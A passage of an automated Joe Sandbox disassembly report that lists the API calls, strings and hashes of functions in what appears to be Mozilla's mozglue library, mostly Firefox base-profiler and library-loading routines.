free.MOZGLUE(?), ref: 6CAF493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF4956
free.MOZGLUE(00000000), ref: 6CAF4960
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CAF499A

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

free.MOZGLUE(?), ref: 6CAF49C6
free.MOZGLUE(?), ref: 6CAF49E9

Part of subcall function 6CB05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB05EDB
Part of subcall function 6CB05E90: memset.VCRUNTIME140(6CB47765,000000E5,55CCCCCC), ref: 6CB05F27
Part of subcall function 6CB05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB05FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAF4812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAF4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAF47FC
[I %d/%d] profiler_shutdown, xrefs: 6CAF4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6CAF4A42

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: a7ccad4fa3c27a0be470c9ff82036041755140cbdea3d9f747dc1955cdb17ef7
Instruction ID: 9c850fa0ac64afbef395110c27381534fa4065d1cdadcfb7bcc8efe27e7a0207
Opcode Fuzzy Hash: a7ccad4fa3c27a0be470c9ff82036041755140cbdea3d9f747dc1955cdb17ef7
Instruction Fuzzy Hash: 17812A71B041448BDB00DF6ACA8876E3775BF42328F180625F92697F81D731E986CB96

Function 6CAF4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAF44B2,6CB6E21C,6CB6F7F8), ref: 6CAF473E
Part of subcall function 6CAF4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAF474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAF44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAF44D2
InitOnceExecuteOnce.KERNEL32(6CB6F80C,6CAEF240,?,?), ref: 6CAF451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAF455C
LoadLibraryW.KERNEL32(?), ref: 6CAF4592
InitializeCriticalSection.KERNEL32(6CB6F770), ref: 6CAF45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAF45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAF45BB
InitOnceExecuteOnce.KERNEL32(6CB6F818,6CAEF240,?,?), ref: 6CAF4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAF4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAF4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAF466D
VerSetConditionMask.NTDLL ref: 6CAF469F
VerSetConditionMask.NTDLL ref: 6CAF46AB
VerSetConditionMask.NTDLL ref: 6CAF46B2
VerSetConditionMask.NTDLL ref: 6CAF46B9
VerSetConditionMask.NTDLL ref: 6CAF46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAF46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAF46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAF46FD

Strings

NativeNtBlockSet_Write, xrefs: 6CAF46F7
user32.dll, xrefs: 6CAF4557, 6CAF463F
kernel32.dll, xrefs: 6CAF44CD
WRusr.dll, xrefs: 6CAF44B5
l, xrefs: 6CAF4578

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 6434994a596ae4434cf6a907fd3938230d445a37e4c87c2b71eb08b6e381f664
Instruction ID: 3670dd7c652d633b7eda669c538076336a51724cee5724027c24f855cbf62a5b
Opcode Fuzzy Hash: 6434994a596ae4434cf6a907fd3938230d445a37e4c87c2b71eb08b6e381f664
Instruction Fuzzy Hash: 9C6139B0604384AFEB109F63CD05BB97BB8FF46309F088598F5149BA91D7B19986CF60

Function 6CB2E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB27090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CB2B9F1,?), ref: 6CB27107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB2DCF5), ref: 6CB2E92D
GetCurrentThreadId.KERNEL32 ref: 6CB2EA4F
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EA5C
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EA80
GetCurrentThreadId.KERNEL32 ref: 6CB2EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB2DCF5), ref: 6CB2EA92
GetCurrentThreadId.KERNEL32 ref: 6CB2EB11
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CB2EB3C
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EB5B

Part of subcall function 6CB25710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB2EB71), ref: 6CB257AB

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB2EBAC

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

GetCurrentThreadId.KERNEL32 ref: 6CB2EBC1
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8,?,?,00000000), ref: 6CB2EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB2EBE5
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8,00000000), ref: 6CB2EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB2EC46
CloseHandle.KERNEL32(?), ref: 6CB2EC55
free.MOZGLUE(00000000), ref: 6CB2EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB2EA9B
[I %d/%d] profiler_start, xrefs: 6CB2EBB4

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 5db588003f313a51821958dd2d77efc3fd968daba1c9bdfc530f7b0bfaa1c8e9
Instruction ID: 184d008d084a18512a103424af7360454359a5e9cc975654879c6225a557a6ff
Opcode Fuzzy Hash: 5db588003f313a51821958dd2d77efc3fd968daba1c9bdfc530f7b0bfaa1c8e9
Instruction Fuzzy Hash: 3FA11231B016848FDB109F6AC844BBE77B5FF86319F14442AE91D87F81DB749809CBA2

Function 6CB2F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB2F8F9

Part of subcall function 6CAF6390: GetCurrentThreadId.KERNEL32 ref: 6CAF63D0
Part of subcall function 6CAF6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAF63DF
Part of subcall function 6CAF6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAF640E

ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2F93A
GetCurrentThreadId.KERNEL32 ref: 6CB2F98A
GetCurrentThreadId.KERNEL32 ref: 6CB2F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2F716

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

Part of subcall function 6CAEB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CAEB5E0

GetCurrentThreadId.KERNEL32 ref: 6CB2F739
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2F746
GetCurrentThreadId.KERNEL32 ref: 6CB2F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB6385B,00000002,?,?,?,?,?), ref: 6CB2F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB2F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB2F866
free.MOZGLUE(?), ref: 6CB2FA0C

Part of subcall function 6CAF5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAF55E1), ref: 6CAF5E8C
Part of subcall function 6CAF5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF5E9D
Part of subcall function 6CAF5E60: GetCurrentThreadId.KERNEL32 ref: 6CAF5EAB
Part of subcall function 6CAF5E60: GetCurrentThreadId.KERNEL32 ref: 6CAF5EB8
Part of subcall function 6CAF5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF5ECF
Part of subcall function 6CAF5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAF5F27
Part of subcall function 6CAF5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAF5F47
Part of subcall function 6CAF5E60: GetCurrentProcess.KERNEL32 ref: 6CAF5F53
Part of subcall function 6CAF5E60: GetCurrentThread.KERNEL32 ref: 6CAF5F5C
Part of subcall function 6CAF5E60: GetCurrentProcess.KERNEL32 ref: 6CAF5F66
Part of subcall function 6CAF5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAF5F7E

free.MOZGLUE(?), ref: 6CB2F9C5
free.MOZGLUE(?), ref: 6CB2F9DA

Strings

" attempted to re-register as ", xrefs: 6CB2F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB2F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB2F71F
Thread , xrefs: 6CB2F789

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 665a16ff72f0d530607d1a7b8e3409c79d83d7d6eff6b1dcca7e36a8868ec327
Instruction ID: 19a177df2ad0dc9d3a7284ab61a86eae912271f97fe48e629ac3a30dab79989b
Opcode Fuzzy Hash: 665a16ff72f0d530607d1a7b8e3409c79d83d7d6eff6b1dcca7e36a8868ec327
Instruction Fuzzy Hash: 40810271A043949FDB10DF25C844BBEB7B5EF85308F44452DE8899BB51EB34E849CBA2

Function 6CB2EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2EE60
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EE6D
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB2EEA5
CloseHandle.KERNEL32(?), ref: 6CB2EEB4
free.MOZGLUE(00000000), ref: 6CB2EEBB
GetCurrentThreadId.KERNEL32 ref: 6CB2EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2EECF

Part of subcall function 6CB2DE60: GetCurrentThreadId.KERNEL32 ref: 6CB2DE73
Part of subcall function 6CB2DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAF4A68), ref: 6CB2DE7B
Part of subcall function 6CB2DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAF4A68), ref: 6CB2DEB8
Part of subcall function 6CB2DE60: free.MOZGLUE(00000000,?,6CAF4A68), ref: 6CB2DEFE
Part of subcall function 6CB2DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB2DF38

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB2EF1E
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EF2B
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EF59
GetCurrentThreadId.KERNEL32 ref: 6CB2EFB0
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EFBD
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2EFE1
GetCurrentThreadId.KERNEL32 ref: 6CB2EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2F000

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB2F02F

Part of subcall function 6CB2F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB2F09B
Part of subcall function 6CB2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB2F0AC
Part of subcall function 6CB2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB2F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CB2EED7
[I %d/%d] profiler_pause, xrefs: 6CB2F008

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 2f13bfc34ef6b13fb63f4db5ba0de542f88d08faf40b3809a6f4efe909809b67
Instruction ID: eec44255b05fa19b9638011c7ac232ab864d403970094ebaa33d4c7b0716662b
Opcode Fuzzy Hash: 2f13bfc34ef6b13fb63f4db5ba0de542f88d08faf40b3809a6f4efe909809b67
Instruction Fuzzy Hash: 2C51D2356052D09FEB106B77D4087BA77B8EB46369F140569F92D83FC0DB785808CBA6

Function 6CAF5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF5E9D

Part of subcall function 6CB05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB056EE,?,00000001), ref: 6CB05B85
Part of subcall function 6CB05B50: EnterCriticalSection.KERNEL32(6CB6F688,?,?,?,6CB056EE,?,00000001), ref: 6CB05B90
Part of subcall function 6CB05B50: LeaveCriticalSection.KERNEL32(6CB6F688,?,?,?,6CB056EE,?,00000001), ref: 6CB05BD8
Part of subcall function 6CB05B50: GetTickCount64.KERNEL32 ref: 6CB05BE4

GetCurrentThreadId.KERNEL32 ref: 6CAF5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAF5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAF6017

Part of subcall function 6CAE4310: moz_xmalloc.MOZGLUE(00000010,?,6CAE42D2), ref: 6CAE436A
Part of subcall function 6CAE4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAE42D2), ref: 6CAE4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAF5F47
GetCurrentProcess.KERNEL32 ref: 6CAF5F53
GetCurrentThread.KERNEL32 ref: 6CAF5F5C
GetCurrentProcess.KERNEL32 ref: 6CAF5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAF5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAF5F27

Part of subcall function 6CAFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CAFCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAF55E1), ref: 6CAF5E8C

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAF55E1), ref: 6CAF605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAF55E1), ref: 6CAF60CC

Strings

GeckoMain, xrefs: 6CAF5ECE, 6CAF6015

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: e93e327d721d431ac031d67882701a8fe427f808bbeb9d68a3539af448869ed4
Instruction ID: 4ab70ddc461b2bce87c8c056e26259f7ed48a318bcc5d904a6f0eac93244eead
Opcode Fuzzy Hash: e93e327d721d431ac031d67882701a8fe427f808bbeb9d68a3539af448869ed4
Instruction Fuzzy Hash: C371E3B0A05780CFD710DF29C480A6ABBF0FF5A308F54496DE49687B52D730E999CB92

Function 6CAF9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAE3217
Part of subcall function 6CAE31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAE3236
Part of subcall function 6CAE31C0: FreeLibrary.KERNEL32 ref: 6CAE324B
Part of subcall function 6CAE31C0: __Init_thread_footer.LIBCMT ref: 6CAE3260
Part of subcall function 6CAE31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAE327F
Part of subcall function 6CAE31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE328E
Part of subcall function 6CAE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAE32AB
Part of subcall function 6CAE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAE32D1
Part of subcall function 6CAE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAE32E5
Part of subcall function 6CAE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAE32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAF9675
__Init_thread_footer.LIBCMT ref: 6CAF9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAF96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAF9707
__Init_thread_footer.LIBCMT ref: 6CAF971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAF9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAF97B7
FreeLibrary.KERNEL32 ref: 6CAF97D0
FreeLibrary.KERNEL32 ref: 6CAF97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAF9824

Strings

MapViewOfFileNuma2, xrefs: 6CAF97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAF9670
ntdll.dll, xrefs: 6CAF96E3
NtMapViewOfSection, xrefs: 6CAF9701

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

